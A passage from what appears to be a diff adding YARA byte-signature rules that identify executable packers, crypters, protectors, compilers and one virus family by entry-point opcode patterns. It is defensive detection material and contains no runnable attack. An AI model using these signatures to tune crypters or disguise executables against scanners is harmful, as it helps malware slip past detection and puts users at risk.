+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+	condition:
+		$0
+}
+rule _Vx_GRUNT1Family_
+{
+	meta:
+		description = "Vx: GRUNT.1.Family"
+	strings:
+		$0 = {01 B9 ?? 00 31 17}
+	condition:
+		$0 at entrypoint
+}
+rule _modified_HACKSTOP_v111f_
+{
+	meta:
+		description = "modified HACKSTOP v1.11f"
+	strings:
+		$0 = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_SFX_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 SFX Custom"
+	strings:
+		$0 = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_01015__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Duals_Cryptor__dual_
+{
+	meta:
+		description = "Dual's Cryptor -> dual"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector 1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0
+}
+rule _PDS_graphics_file_format_
+{
+	meta:
+		description = "PDS graphics file format"
+	strings:
+		$0 = {49 4D 41 47 45 49 44 45 4E 54 49 46 49 45 52 20}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_60_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKP_v132__Pavol_Cerven_h_
+{
+	meta:
+		description = "SVKP v1.32 -> Pavol Cerven (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021_protected_IAT__wwwstrongbitcom__SignByhaggar_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com * Sign.By.haggar"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+	condition:
+		$0
+}
+rule _PeCompact_v208__Bitsum_Technologiessignature_by_loveboom_
+{
+	meta:
+		description = "PeCompact v2.08 -> Bitsum Technologies(signature by loveboom)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v3xx_
+{
+	meta:
+		description = "Armadillo v3.xx"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_500_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.00 Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16c_by_Vaska_UsAr_sign_21032007_2225_
+{
+	meta:
+		description = "RCryptor 1.6c by Vaska (UsAr sign 21.03.2007 22:25)"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 F2 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 E8 40 EB F3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASPack_2xx_Heuristic_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASPack 2.xx Heuristic]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEStealth_275__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.75 -> WebtoolMaster"
+	strings:
+		$0 = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_111_Method_2NT__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 2(NT) -> bagie[TMX]"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_C__Borland_Builder_
+{
+	meta:
+		description = "Borland C / Borland Builder"
+	strings:
+		$0 = {3B CF 76 05 2B CF FC F3 AA 59}
+	condition:
+		$0
+}
+rule _vprotector_12__vcasm_h_
+{
+	meta:
+		description = "vprotector 1.2 -> vcasm (h)"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP2__diablo2oo2_
+{
+	meta:
+		description = "dUP2 -> diablo2oo2"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+		$1 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_239_DLL_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+	condition:
+		$0
+}
+rule _Ionic_Wind_Software_
+{
+	meta:
+		description = "Ionic Wind Software"
+	strings:
+		$0 = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_V01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher V0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup2Go_Installer_Stub_
+{
+	meta:
+		description = "Setup2Go Installer Stub"
+	strings:
+		$0 = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VOB ProtectCD 5] -> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b2_
+{
+	meta:
+		description = "tElock v0.98b2"
+	strings:
+		$0 = {E9 1B E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10802_
+{
+	meta:
+		description = "ASPack v1.08.02"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+		$1 = {90 90 75 01 90 E9}
+		$2 = {90 75 01 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Thinstall_Embedded_V20X__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.0X -> Jitit ! Sign by fly"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__Bubbasoft_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+	condition:
+		$0 at entrypoint
+}
+rule _COMPACK_v45_2_
+{
+	meta:
+		description = "COMPACK v4.5 (2)"
+	strings:
+		$0 = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v177_
+{
+	meta:
+		description = "Armadillo v1.77"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_V1X__PolyTech_
+{
+	meta:
+		description = "VMProtect V1.X -> PolyTech"
+	strings:
+		$0 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+	condition:
+		$0
+}
+rule _CrypKey_V61X_DLL__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypKey V6.1X DLL -> CrypKey (Canada) Inc."
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b5__v140b6_
+{
+	meta:
+		description = "PECompact v1.40b5 - v1.40b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+	condition:
+		$0 at entrypoint
+}
+rule _The_aPE_Inline_Patch_ExtraStealth_SuperStealth_
+{
+	meta:
+		description = "The aPE Inline Patch ExtraStealth, SuperStealth)"
+	strings:
+		$0 = {E8 02 ?? ?? ?? EB 01 C3 3E 8B 44 24 FC 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _AHpack_01__FEUERRADER_h_
+{
+	meta:
+		description = "AHpack 0.1 -> FEUERRADER (h)"
+	strings:
+		$0 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v090_
+{
+	meta:
+		description = "PECompact v0.90"
+	strings:
+		$0 = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10b__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0b -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENightMare 2 Beta] -> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake 0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0
+}
+rule _Safeguard_10__Simonzh_
+{
+	meta:
+		description = "Safeguard 1.0 -> Simonzh"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29}
+	condition:
+		$0 at entrypoint
+}
+rule _IProtect_10_FxSubdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (FxSub.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+		$1 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v300_v301_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_153_Stub_engine_17__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF"
+	strings:
+		$0 = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Resource_Cursors_file_
+{
+	meta:
+		description = "Microsoft Resource Cursors file"
+	strings:
+		$0 = {00 00 02 00 01 00 20 20 00 00 ?? 00 ?? 00 E8 02 00 00 16}
+	condition:
+		$0
+}
+rule _MicroJoiner_17__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.7 -> coban2k"
+	strings:
+		$0 = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_072_
+{
+	meta:
+		description = "UPX 0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v1x__Modified_
+{
+	meta:
+		description = "y0da's Crypter v1.x / Modified"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_aPlib_043__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 Dll (aPlib 0.43) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_Neolite_20__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake Neolite 2.0) -> emadicius (h)"
+	strings:
